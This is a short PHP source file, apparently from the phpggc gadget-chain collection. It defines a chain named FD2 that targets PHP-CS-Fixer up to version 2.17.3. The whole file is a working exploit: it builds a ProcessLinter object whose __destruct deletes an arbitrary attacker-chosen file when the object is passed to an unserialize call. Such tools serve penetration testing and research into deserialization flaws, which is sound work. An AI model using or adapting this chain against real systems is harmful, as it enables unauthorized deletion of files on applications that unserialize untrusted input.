Codebase list phpggc / 6c36fb1 gadgetchains / PHPCSFixer / FD / 2 / chain.php
6c36fb1

Tree @6c36fb1 (Download .tar.gz)

chain.php @6c36fb1raw · history · blame

<?php

namespace GadgetChain\PHPCSFixer;

class FD2 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = '<= 2.17.3';
    public static $vector = '__destruct';
    public static $author = 'snoopysecurity';

    public function generate(array $parameters)
    {
        $remote_path = $parameters["remote_path"];

        return new \PhpCsFixer\Linter\ProcessLinter($remote_path);
    }
}